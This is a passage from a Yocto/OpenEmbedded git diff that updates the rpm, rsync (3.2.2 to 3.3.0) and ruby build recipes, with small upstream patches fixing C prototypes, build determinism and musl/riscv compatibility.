+ file://0001-Add-a-color-setting-for-mips64_n32-binaries.patch \
+ file://0001-perl-disable-auto-reqs.patch \
+ file://0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch \
+ file://0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch \
+ file://0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch \
+ file://0001-CMakeLists.txt-look-for-lua-with-pkg-config-rather-t.patch \
+ file://0002-rpmio-rpmglob.c-avoid-using-GLOB_BRACE-if-undefined-.patch \
+ "
+
+PE = "1"
+SRCREV = "13b4521341781293c41ac898aa9c2d2f6bc1f21d"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "lua libgcrypt file popt xz bzip2 elfutils python3 sqlite3 zstd"
+DEPENDS:append:class-native = " file-replacement-native bzip2-replacement-native"
+
+EXTRA_OECMAKE:append = " -D__CURL:FILEPATH=curl"
+EXTRA_OECMAKE:append:libc-musl = " -DENABLE_NLS=OFF -DENABLE_OPENMP=OFF"
+
+# --sysconfdir prevents rpm from attempting to access machine-specific configuration in sysroot/etc; we need to have it in rootfs
+# --localstatedir prevents rpm from writing its database to native sysroot when building images
+EXTRA_OECMAKE:append:class-native = " -DCMAKE_INSTALL_SYSCONFDIR:PATH=/etc -DCMAKE_INSTALL_LOCALSTATEDIR:PATH=/var"
+EXTRA_OECMAKE:append:class-nativesdk = " -DCMAKE_INSTALL_SYSCONFDIR:PATH=/etc -DCMAKE_INSTALL_FULL_SYSCONFDIR=/etc"
+
+inherit cmake gettext pkgconfig python3targetconfig
+OECMAKE_GENERATOR = "Unix Makefiles"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG ??= "internal-openpgp"
+
+PACKAGECONFIG[plugins] = "-DENABLE_PLUGINS=ON,-DENABLE_PLUGINS=OFF"
+PACKAGECONFIG[testsuite] = "-DENABLE_TESTSUITE=ON,-DENABLE_TESTSUITE=OFF"
+
+# Deprecated! https://fedoraproject.org/wiki/Changes/RpmSequoia
+PACKAGECONFIG[internal-openpgp] = "-DWITH_INTERNAL_OPENPGP=ON,-DWITH_INTERNAL_OPENPGP=OFF"
+
+PACKAGECONFIG[cap] = "-DWITH_CAP=ON,-DWITH_CAP=OFF"
+PACKAGECONFIG[acl] = "-DWITH_ACL=ON,-DWITH_ACL=OFF"
+PACKAGECONFIG[archive] = "-DWITH_ARCHIVE=ON,-DWITH_ARCHIVE=OFF,libarchive"
+PACKAGECONFIG[selinux] = "-DWITH_SELINUX=ON,-DWITH_SELINUX=OFF,libselinux"
+PACKAGECONFIG[dbus] = "-DWITH_DBUS=ON,-DWITH_DBUS=OFF"
+PACKAGECONFIG[audit] = "-DWITH_AUDIT=ON,-DWITH_AUDIT=OFF,audit"
+PACKAGECONFIG[fsverity] = "-DWITH_FSVERITY=ON,-DWITH_FSVERITY=OFF"
+PACKAGECONFIG[imaevm] = "-DWITH_IMAEVM=ON,-DWITH_IMAEVM=OFF,ima-evm-utils"
+PACKAGECONFIG[fapolicyd] = "-DWITH_FAPOLICYD=ON,-DWITH_FAPOLICYD=OFF"
+PACKAGECONFIG[readline] = "-DWITH_READLINE=ON,-DWITH_READLINE=OFF,readline"
+
+# Direct rpm-native to read configuration from our sysroot, not the one it was compiled in
+# libmagic also has sysroot path contamination, so override it
+
+WRAPPER_TOOLS = " \
+ ${bindir}/rpm \
+ ${bindir}/rpm2archive \
+ ${bindir}/rpm2cpio \
+ ${bindir}/rpmbuild \
+ ${bindir}/rpmdb \
+ ${bindir}/rpmgraph \
+ ${bindir}/rpmkeys \
+ ${bindir}/rpmsign \
+ ${bindir}/rpmspec \
+ ${libdir}/rpm/rpmdeps \
+"
+
+do_install:append:class-native() {
+ for tool in ${WRAPPER_TOOLS}; do
+ test -x ${D}$tool && create_wrapper ${D}$tool \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE} \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+ done
+}
+
+do_install:append:class-nativesdk() {
+ rm -rf ${D}/var
+
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ cat <<- EOF > ${D}${SDKPATHNATIVE}/environment-setup.d/rpm.sh
+ export RPM_CONFIGDIR="${libdir}/rpm"
+ export RPM_ETCCONFIGDIR="${SDKPATHNATIVE}"
+ export RPM_NO_CHROOT_FOR_SCRIPTS=1
+ EOF
+}
+
+# Rpm's make install creates var/tmp which clashes with base-files packaging
+do_install:append:class-target() {
+ rm -rf ${D}/var
+}
+do_install:append:class-nativesdk() {
+ rm -rf ${D}${SDKPATHNATIVE}/var
+ # Ensure find-debuginfo is located correctly inside SDK
+ mkdir -p ${D}${libdir}/rpm
+ echo "%__find_debuginfo ${SDKPATHNATIVE}/usr/bin/find-debuginfo" >> ${D}${libdir}/rpm/macros
+}
+
+do_install:append () {
+ sed -i -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${STAGING_DIR_NATIVE}/::g' \
+ ${D}/${libdir}/rpm/macros
+ sed -i -e 's:${RECIPE_SYSROOT}/::g' \
+ ${D}/${libdir}/cmake/rpm/rpm-targets.cmake
+
+}
+
+FILES:${PN} += "${libdir}/rpm-plugins/*.so \
+ "
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/rpm.sh"
+
+FILES:${PN}-dev += "${libdir}/rpm-plugins/*.la \
+ "
+PACKAGE_BEFORE_PN += "${PN}-build ${PN}-sign ${PN}-archive"
+
+RRECOMMENDS:${PN} += "rpm-sign rpm-archive"
+
+FILES:${PN}-build = "\
+ ${bindir}/rpmbuild \
+ ${bindir}/gendiff \
+ ${bindir}/rpmspec \
+ ${libdir}/librpmbuild.so.* \
+ ${libdir}/rpm/brp-* \
+ ${libdir}/rpm/check-* \
+ ${libdir}/rpm/sepdebugcrcfix \
+ ${libdir}/rpm/find-lang.sh \
+ ${libdir}/rpm/sysusers.sh \
+ ${libdir}/rpm/*provides* \
+ ${libdir}/rpm/*requires* \
+ ${libdir}/rpm/*deps* \
+ ${libdir}/rpm/*.prov \
+ ${libdir}/rpm/*.req \
+ ${libdir}/rpm/config.* \
+ ${libdir}/rpm/mkinstalldirs \
+ ${libdir}/rpm/macros.p* \
+ ${libdir}/rpm/fileattrs/* \
+"
+
+FILES:${PN}-sign = "\
+ ${bindir}/rpmsign \
+ ${libdir}/librpmsign.so.* \
+"
+
+FILES:${PN}-archive = "\
+ ${bindir}/rpm2archive \
+"
+
+PACKAGES += "python3-rpm"
+PROVIDES += "python3-rpm"
+FILES:python3-rpm = "${PYTHON_SITEPACKAGES_DIR}/rpm/* ${PYTHON_SITEPACKAGES_DIR}/rpm-*.egg-info"
+
+RDEPENDS:${PN}-build = "bash perl python3-core debugedit"
+
+PACKAGE_PREPROCESS_FUNCS += "rpm_package_preprocess"
+
+# Do not specify a sysroot when compiling on a target.
+rpm_package_preprocess () {
+ sed -i -e 's:--sysroot[^ ]*::g' \
+ ${PKGD}/${libdir}/rpm/macros
+}
+
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/rpm/macros:${TMPDIR} \
+ populate_sysroot:*/rpm/macros:${COREBASE} \
+ "
diff --git a/meta/recipes-devtools/rsync/files/0001-Add-missing-prototypes-to-function-declarations.patch b/meta/recipes-devtools/rsync/files/0001-Add-missing-prototypes-to-function-declarations.patch
new file mode 100644
index 0000000000..2379de84f2
--- /dev/null
+++ b/meta/recipes-devtools/rsync/files/0001-Add-missing-prototypes-to-function-declarations.patch
@@ -0,0 +1,170 @@
+From 2beb35c34c45320144f37b12ef4d72fb8734280e Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 29 Aug 2022 19:53:28 -0700
+Subject: [PATCH] Add missing prototypes to function declarations
+
+With Clang 15+ compiler -Wstrict-prototypes is triggering warnings which
+are turned into errors with -Werror, this fixes the problem by adding
+missing prototypes
+
+Fixes errors like
+| log.c:134:24: error: a function declaration without a prototype is deprecated in all versions of C [-Werror,-Wstrict-prototypes]
+| static void syslog_init()
+| ^
+| void
+
+Upstream-Status: Submitted [https://lists.samba.org/archive/rsync/2022-August/032858.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ checksum.c | 2 +-
+ exclude.c | 2 +-
+ hlink.c | 3 +--
+ lib/pool_alloc.c | 2 +-
+ log.c | 2 +-
+ main.c | 2 +-
+ syscall.c | 4 ++--
+ zlib/crc32.c | 2 +-
+ zlib/trees.c | 2 +-
+ zlib/zutil.c | 4 ++--
+ 10 files changed, 12 insertions(+), 13 deletions(-)
+
+diff --git a/checksum.c b/checksum.c
+index cb21882..736818b 100644
+--- a/checksum.c
++++ b/checksum.c
+@@ -779,7 +779,7 @@ static void verify_digest(struct name_num_item *nni, BOOL check_auth_list)
+ }
+ #endif
+
+-void init_checksum_choices()
++void init_checksum_choices(void)
+ {
+ #if defined SUPPORT_XXH3 || defined USE_OPENSSL
+ struct name_num_item *nni;
+diff --git a/exclude.c b/exclude.c
+index 87edbcf..ae0de2f 100644
+--- a/exclude.c
++++ b/exclude.c
+@@ -363,7 +363,7 @@ void implied_include_partial_string(const char *s_start, const char *s_end)
+ memcpy(partial_string_buf, s_start, partial_string_len);
+ }
+
+-void free_implied_include_partial_string()
++void free_implied_include_partial_string(void)
+ {
+ if (partial_string_buf) {
+ if (partial_string_len)
+diff --git a/hlink.c b/hlink.c
+index 20291f2..5c26a6b 100644
+--- a/hlink.c
++++ b/hlink.c
+@@ -117,8 +117,7 @@ static void match_gnums(int32 *ndx_list, int ndx_count)
+ struct ht_int32_node *node = NULL;
+ int32 gnum, gnum_next;
+
+- qsort(ndx_list, ndx_count, sizeof ndx_list[0], (int (*)()) hlink_compare_gnum);
+-
++ qsort(ndx_list, ndx_count, sizeof ndx_list[0], (int (*)(const void *, const void *)) hlink_compare_gnum);
+ for (from = 0; from < ndx_count; from++) {
+ file = hlink_flist->sorted[ndx_list[from]];
+ gnum = F_HL_GNUM(file);
+diff --git a/lib/pool_alloc.c b/lib/pool_alloc.c
+index a1a7245..4eae062 100644
+--- a/lib/pool_alloc.c
++++ b/lib/pool_alloc.c
+@@ -9,7 +9,7 @@ struct alloc_pool
+ size_t size; /* extent size */
+ size_t quantum; /* allocation quantum */
+ struct pool_extent *extents; /* top extent is "live" */
+- void (*bomb)(); /* called if malloc fails */
++ void (*bomb)(const char *, const char *, int); /* called if malloc fails */
+ int flags;
+
+ /* statistical data */
+diff --git a/log.c b/log.c
+index e4ba1cc..8482b71 100644
+--- a/log.c
++++ b/log.c
+@@ -131,7 +131,7 @@ static void logit(int priority, const char *buf)
+ }
+ }
+
+-static void syslog_init()
++static void syslog_init(void)
+ {
+ int options = LOG_PID;
+
+diff --git a/main.c b/main.c
+index 0c60b86..4bc664a 100644
+--- a/main.c
++++ b/main.c
+@@ -246,7 +246,7 @@ void read_del_stats(int f)
+ stats.deleted_files += stats.deleted_specials = read_varint(f);
+ }
+
+-static void become_copy_as_user()
++static void become_copy_as_user(void)
+ {
+ char *gname;
+ uid_t uid;
+diff --git a/syscall.c b/syscall.c
+index d92074a..92ca86d 100644
+--- a/syscall.c
++++ b/syscall.c
+@@ -389,9 +389,9 @@ OFF_T do_lseek(int fd, OFF_T offset, int whence)
+ {
+ #ifdef HAVE_LSEEK64
+ #if !SIZEOF_OFF64_T
+- OFF_T lseek64();
++ OFF_T lseek64(int fd, OFF_T offset, int whence);
+ #else
+- off64_t lseek64();
++ off64_t lseek64(int fd, off64_t offset, int whence);
+ #endif
+ return lseek64(fd, offset, whence);
+ #else
+diff --git a/zlib/crc32.c b/zlib/crc32.c
+index 05733f4..50c6c02 100644
+--- a/zlib/crc32.c
++++ b/zlib/crc32.c
+@@ -187,7 +187,7 @@ local void write_table(out, table)
+ /* =========================================================================
+ * This function can be used by asm versions of crc32()
+ */
+-const z_crc_t FAR * ZEXPORT get_crc_table()
++const z_crc_t FAR * ZEXPORT get_crc_table(void)
+ {
+ #ifdef DYNAMIC_CRC_TABLE
+ if (crc_table_empty)
+diff --git a/zlib/trees.c b/zlib/trees.c
+index 9c66770..0d9047e 100644
+--- a/zlib/trees.c
++++ b/zlib/trees.c
+@@ -231,7 +231,7 @@ local void send_bits(s, value, length)
+ /* ===========================================================================
+ * Initialize the various 'constant' tables.
+ */
+-local void tr_static_init()
++local void tr_static_init(void)
+ {
+ #if defined(GEN_TREES_H) || !defined(STDC)
+ static int static_init_done = 0;
+diff --git a/zlib/zutil.c b/zlib/zutil.c
+index bbba7b2..61f8dc9 100644
+--- a/zlib/zutil.c
++++ b/zlib/zutil.c
+@@ -27,12 +27,12 @@ z_const char * const z_errmsg[10] = {
+ ""};
+
+
+-const char * ZEXPORT zlibVersion()
++const char * ZEXPORT zlibVersion(void)
+ {
+ return ZLIB_VERSION;
+ }
+
+-uLong ZEXPORT zlibCompileFlags()
++uLong ZEXPORT zlibCompileFlags(void)
+ {
+ uLong flags;
+
diff --git a/meta/recipes-devtools/rsync/files/determism.patch b/meta/recipes-devtools/rsync/files/determism.patch
new file mode 100644
index 0000000000..e3494fdded
--- /dev/null
+++ b/meta/recipes-devtools/rsync/files/determism.patch
@@ -0,0 +1,34 @@
+The Makefile calls awk on a "*.c" glob. The results of this glob are sorted
+but the order depends on the locale settings, particularly whether
+"util.c" and "util2.c" sort before or after each other. In en_US.UTF-8
+they sort one way, in C, they sort the other. The sorting order changes
+the output binaries. The behaviour also changes dependning on whether
+SHELL (/bin/sh) is dash or bash.
+
+Specify a C locale setting to be deterministic.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Submitted: https://github.com/WayneD/rsync/pull/155
+
+Upstream-Status: Backport [ish, see below]
+
+After discussion upstream renamed util.c to util1.c which avoids the problem
+in a different way. This patch can be dropped when we upgrade to include:
+https://github.com/WayneD/rsync/commit/d3085f7add38a5cf833a0b31cb0637ff46c80f8d
+
+Index: rsync-3.2.3/Makefile.in
+===================================================================
+--- rsync-3.2.3.orig/Makefile.in
++++ rsync-3.2.3/Makefile.in
+@@ -26,6 +26,11 @@ MKDIR_P=@MKDIR_P@
+ VPATH=$(srcdir)
+ SHELL=/bin/sh
+
++# We use globbing in commands, need to be deterministic
++unexport LC_ALL
++LC_COLLATE=C
++export LC_COLLATE
++
+ .SUFFIXES:
+ .SUFFIXES: .c .o
+
diff --git a/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch b/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch
index 4ba7665280..0c9ce8b8e3 100644
--- a/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch
+++ b/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch
@@ -1,4 +1,4 @@
-From 1f29584e57f5fda09970c66f3b94f4720e09c1bb Mon Sep 17 00:00:00 2001
+From f446686c26c499e15ef17d495a93cfbc20e16090 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Tue, 12 Apr 2016 15:51:54 +0100
Subject: [PATCH] rsync: remove upstream's rebuild logic
@@ -8,18 +8,17 @@ generally overcomplicated, and we ensure that autoreconf is invoked if required.
Upstream-Status: Inappropriate
Signed-off-by: Ross Burton <ross.burton@intel.com>
-
---
Makefile.in | 54 -----------------------------------------------------
1 file changed, 54 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index 672fcc4..c12d8d4 100644
+index a1253e5..a084935 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -168,60 +168,6 @@ gen: conf proto.h man
- gensend: gen
- rsync -aic $(GENFILES) $${SAMBA_HOST-samba.org}:/home/ftp/pub/rsync/generated-files/
+@@ -192,60 +192,6 @@ gensend: gen
+ fi
+ rsync -aic $(GENFILES) git-version.h $${SAMBA_HOST-samba.org}:/home/ftp/pub/rsync/generated-files/ || true
-aclocal.m4: $(srcdir)/m4/*.m4
- aclocal -I $(srcdir)/m4
@@ -41,7 +40,7 @@ index 672fcc4..c12d8d4 100644
- else \
- echo "config.h.in has CHANGED."; \
- fi
-- @if test -f configure.sh.old -o -f config.h.in.old; then \
+- @if test -f configure.sh.old || test -f config.h.in.old; then \
- if test "$(MAKECMDGOALS)" = reconfigure; then \
- echo 'Continuing with "make reconfigure".'; \
- else \
diff --git a/meta/recipes-devtools/rsync/rsync_3.2.2.bb b/meta/recipes-devtools/rsync/rsync_3.2.2.bb
deleted file mode 100644
index 182628f4b4..0000000000
--- a/meta/recipes-devtools/rsync/rsync_3.2.2.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "File synchronization tool"
-HOMEPAGE = "http://rsync.samba.org/"
-BUGTRACKER = "http://rsync.samba.org/bugzilla.html"
-SECTION = "console/network"
-# GPLv2+ (<< 3.0.0), GPLv3+ (>= 3.0.0)
-# Includes opennsh and xxhash dynamic link exception
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=9e5a4f9b3a253d51520617aa54f8eb26"
-
-DEPENDS = "popt"
-
-SRC_URI = "https://download.samba.org/pub/${BPN}/src/${BP}.tar.gz \
- file://rsyncd.conf \
- file://makefile-no-rebuild.patch \
- "
-
-SRC_URI[sha256sum] = "644bd3841779507665211fd7db8359c8a10670c57e305b4aab61b4e40037afa8"
-
-# -16548 required for v3.1.3pre1. Already in v3.1.3.
-CVE_CHECK_WHITELIST += " CVE-2017-16548 "
-
-inherit autotools-brokensep
-
-PACKAGECONFIG ??= "acl attr \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-
-PACKAGECONFIG[acl] = "--enable-acl-support,--disable-acl-support,acl,"
-PACKAGECONFIG[attr] = "--enable-xattr-support,--disable-xattr-support,attr,"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[lz4] = "--enable-lz4,--disable-lz4,lz4"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-PACKAGECONFIG[xxhash] = "--enable-xxhash,--disable-xxhash,xxhash"
-PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
-
-# By default, if crosscompiling, rsync disables a number of
-# capabilities, hardlinking symlinks and special files (i.e. devices)
-CACHED_CONFIGUREVARS += "rsync_cv_can_hardlink_special=yes rsync_cv_can_hardlink_symlink=yes"
-
-EXTRA_OEMAKE = 'STRIP=""'
-EXTRA_OECONF = "--disable-simd --disable-md2man --disable-asm"
-
-# rsync 3.0 uses configure.sh instead of configure, and
-# makefile checks the existence of configure.sh
-do_configure_prepend () {
- rm -f ${S}/configure ${S}/configure.sh
-}
-
-do_configure_append () {
- cp -f ${S}/configure ${S}/configure.sh
-}
-
-do_install_append() {
- install -d ${D}${sysconfdir}
- install -m 0644 ${WORKDIR}/rsyncd.conf ${D}${sysconfdir}
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/rsync/rsync_3.3.0.bb b/meta/recipes-devtools/rsync/rsync_3.3.0.bb
new file mode 100644
index 0000000000..b42026331d
--- /dev/null
+++ b/meta/recipes-devtools/rsync/rsync_3.3.0.bb
@@ -0,0 +1,67 @@
+SUMMARY = "File synchronization tool"
+HOMEPAGE = "http://rsync.samba.org/"
+DESCRIPTION = "rsync is an open source utility that provides fast incremental file transfer."
+BUGTRACKER = "http://rsync.samba.org/bugzilla.html"
+SECTION = "console/network"
+# GPL-2.0-or-later (<< 3.0.0), GPL-3.0-or-later (>= 3.0.0)
+# Includes opennsh and xxhash dynamic link exception
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=24423708fe159c9d12be1ea29fcb18c7"
+
+DEPENDS = "popt"
+
+SRC_URI = "https://download.samba.org/pub/${BPN}/src/${BP}.tar.gz \
+ file://rsyncd.conf \
+ file://makefile-no-rebuild.patch \
+ file://determism.patch \
+ file://0001-Add-missing-prototypes-to-function-declarations.patch \
+ "
+SRC_URI[sha256sum] = "7399e9a6708c32d678a72a63219e96f23be0be2336e50fd1348498d07041df90"
+
+inherit autotools-brokensep
+
+PACKAGECONFIG ??= "acl attr \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+
+PACKAGECONFIG[acl] = "--enable-acl-support,--disable-acl-support,acl,"
+PACKAGECONFIG[attr] = "--enable-xattr-support,--disable-xattr-support,attr,"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[lz4] = "--enable-lz4,--disable-lz4,lz4"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+PACKAGECONFIG[xxhash] = "--enable-xxhash,--disable-xxhash,xxhash"
+PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
+
+# By default, if crosscompiling, rsync disables a number of
+# capabilities, hardlinking symlinks and special files (i.e. devices)
+CACHED_CONFIGUREVARS += "rsync_cv_can_hardlink_special=yes rsync_cv_can_hardlink_symlink=yes"
+
+EXTRA_OEMAKE = 'STRIP=""'
+EXTRA_OECONF = "--disable-md2man --with-nobody-group=nogroup"
+
+#| ./simd-checksum-x86_64.cpp: In function 'uint32_t get_checksum1_cpp(char*, int32_t)':
+#| ./simd-checksum-x86_64.cpp:89:52: error: multiversioning needs 'ifunc' which is not supported on this target
+#| 89 | __attribute__ ((target("default"))) MVSTATIC int32 get_checksum1_avx2_64(schar* buf, int32 len, int32 i, uint32* ps1, uint32* ps2) { return i; }
+#| | ^~~~~~~~~~~~~~~~~~~~~
+#| ./simd-checksum-x86_64.cpp:480:1: error: use of multiversioned function without a default
+#| 480 | }
+#| | ^
+#| If you can't fix the issue, re-run ./configure with --disable-roll-simd.
+EXTRA_OECONF:append:libc-musl = " --disable-roll-simd"
+
+# rsync 3.0 uses configure.sh instead of configure, and
+# makefile checks the existence of configure.sh
+do_configure:prepend () {
+ rm -f ${S}/configure ${S}/configure.sh
+}
+
+do_configure:append () {
+ cp -f ${S}/configure ${S}/configure.sh
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${WORKDIR}/rsyncd.conf ${D}${sysconfdir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/ruby/ruby.inc b/meta/recipes-devtools/ruby/ruby.inc
deleted file mode 100644
index a38b3fe624..0000000000
--- a/meta/recipes-devtools/ruby/ruby.inc
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "An interpreter of object-oriented scripting language"
-DESCRIPTION = "Ruby is an interpreted scripting language for quick \
-and easy object-oriented programming. It has many features to process \
-text files and to do system management tasks (as in Perl). \
-It is simple, straight-forward, and extensible. \
-"
-HOMEPAGE = "http://www.ruby-lang.org/"
-SECTION = "devel/ruby"
-LICENSE = "Ruby | BSD-2-Clause | BSD-3-Clause | GPLv2 | ISC | MIT"
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=5b8c87559868796979806100db3f3805 \
- file://BSDL;md5=19aaf65c88a40b508d17ae4be539c4b5\
- file://GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263\
- file://LEGAL;md5=2b6d62dc0d608f34d510ca3f428110ec \
-"
-
-DEPENDS = "ruby-native zlib openssl tcl libyaml gdbm readline libffi"
-DEPENDS_class-native = "openssl-native libyaml-native readline-native zlib-native"
-
-SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-SRC_URI = "http://cache.ruby-lang.org/pub/ruby/${SHRT_VER}/ruby-${PV}.tar.gz \
- file://0001-extmk-fix-cross-compilation-of-external-gems.patch \
- file://0002-Obey-LDFLAGS-for-the-link-of-libruby.patch \
- "
-UPSTREAM_CHECK_URI = "https://www.ruby-lang.org/en/downloads/"
-
-inherit autotools ptest
-
-
-# This snippet lets compiled extensions which rely on external libraries,
-# such as zlib, compile properly. If we don't do this, then when extmk.rb
-# runs, it uses the native libraries instead of the target libraries, and so
-# none of the linking operations succeed -- which makes extconf.rb think
-# that the libraries aren't available and hence that the extension can't be
-# built.
-
-do_configure_prepend() {
- sed -i "s#%%TARGET_CFLAGS%%#$CFLAGS#; s#%%TARGET_LDFLAGS%%#$LDFLAGS#" ${S}/common.mk
- rm -rf ${S}/ruby/
-}
diff --git a/meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch b/meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch
deleted file mode 100644
index f316bed7bd..0000000000
--- a/meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From eed7bc855fd8d232d4d203cc9027dd07cee8eca2 Mon Sep 17 00:00:00 2001
-From: Wang Mingyu <wangmy@cn.fujitsu.com>
-Date: Sat, 8 Feb 2020 15:16:14 +0800
-Subject: [PATCH] Modify shebang of libexec/y2racc and libexec/racc2y.
-
-change /usr/local/bin/ruby to /usr/bin/env ruby.
-
-Upstream-Status: Pending
-
-Signed-off-by: Wang Mingyu <wangmy@cn.fujitsu.com>
----
- libexec/racc2y | 2 +-
- libexec/y2racc | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/libexec/racc2y b/libexec/racc2y
-index f88d73ed2c..74e49cfa21 100755
---- a/libexec/racc2y
-+++ b/libexec/racc2y
-@@ -1,4 +1,4 @@
--#!/usr/local/bin/ruby
-+#!/usr/bin/env ruby
- #
- # $Id$
- #
-diff --git a/libexec/y2racc b/libexec/y2racc
-index 7933f94153..36daf864e1 100755
---- a/libexec/y2racc
-+++ b/libexec/y2racc
-@@ -1,4 +1,4 @@
--#!/usr/local/bin/ruby
-+#!/usr/bin/env ruby
- #
- # $Id$
- #
---
-2.17.1
-
diff --git a/meta/recipes-devtools/ruby/ruby/0001-extmk-fix-cross-compilation-of-external-gems.patch b/meta/recipes-devtools/ruby/ruby/0001-extmk-fix-cross-compilation-of-external-gems.patch
index 2e3156880e..7402e76333 100644
--- a/meta/recipes-devtools/ruby/ruby/0001-extmk-fix-cross-compilation-of-external-gems.patch
+++ b/meta/recipes-devtools/ruby/ruby/0001-extmk-fix-cross-compilation-of-external-gems.patch
@@ -1,7 +1,7 @@
-From a6e12b25a54d112c899b70c89c0bec9c5e5ebf3c Mon Sep 17 00:00:00 2001
+From caa03f46a3204a7e0f0e5d9d9cc9113304dc0382 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andr=C3=A9=20Draszik?= <andre.draszik@jci.com>
Date: Mon, 30 Sep 2019 16:57:01 +0100
-Subject: [PATCH 1/3] extmk: fix cross-compilation of external gems
+Subject: [PATCH] extmk: fix cross-compilation of external gems
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
@@ -16,10 +16,10 @@ Signed-off-by: André Draszik <andre.draszik@jci.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/ext/extmk.rb b/ext/extmk.rb
-index 1389dc4117..e4d923d7a7 100755
+index 428ffc9..87eff71 100755
--- a/ext/extmk.rb
+++ b/ext/extmk.rb
-@@ -413,8 +413,8 @@ def $mflags.defined?(var)
+@@ -420,8 +420,8 @@ else
end
$ruby = [$ruby]
$ruby << "-I'$(topdir)'"
@@ -29,6 +29,3 @@ index 1389dc4117..e4d923d7a7 100755
$ruby << "-I'$(extout)/$(arch)'" << "-I'$(extout)/common'" if $extout
ENV["RUBYLIB"] = "-"
end
---
-2.23.0.rc1
-
diff --git a/meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch b/meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch
new file mode 100644
index 0000000000..67054d6553
--- /dev/null
+++ b/meta/recipes-devtools/ruby/ruby/0001-vm_dump.c-Define-REG_S1-and-REG_S2-for-musl-riscv.patch
@@ -0,0 +1,31 @@
+From 980dcc5380db6f03451357140ae1487117300156 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 25 Jan 2022 20:29:14 -0800
+Subject: [PATCH] vm_dump.c: Define REG_S1 and REG_S2 for musl/riscv
+
+These defines are missing in musl, there is a possible
+patch to add them to musl, but we need a full list of
+these names for mcontext that can be added once for all
+
+Upstream-Status: Inappropriate [musl bug]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ vm_dump.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/vm_dump.c b/vm_dump.c
+index 444be4a..8a081a7 100644
+--- a/vm_dump.c
++++ b/vm_dump.c
+@@ -39,6 +39,11 @@
+
+ #define MAX_POSBUF 128
+
++#if defined(__riscv) && !defined(__GLIBC__)
++# define REG_S1 9
++# define REG_S2 18
++#endif
++
+ #define VM_CFP_CNT(ec, cfp) \
+ ((rb_control_frame_t *)((ec)->vm_stack + (ec)->vm_stack_size) - \
+ (rb_control_frame_t *)(cfp))
diff --git a/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch b/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
index b31dee1128..f3a65e785d 100644
--- a/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
+++ b/meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch
@@ -1,7 +1,7 @@
-From 6d608326970b1613633d7715ebb7d628dfcd16ee Mon Sep 17 00:00:00 2001
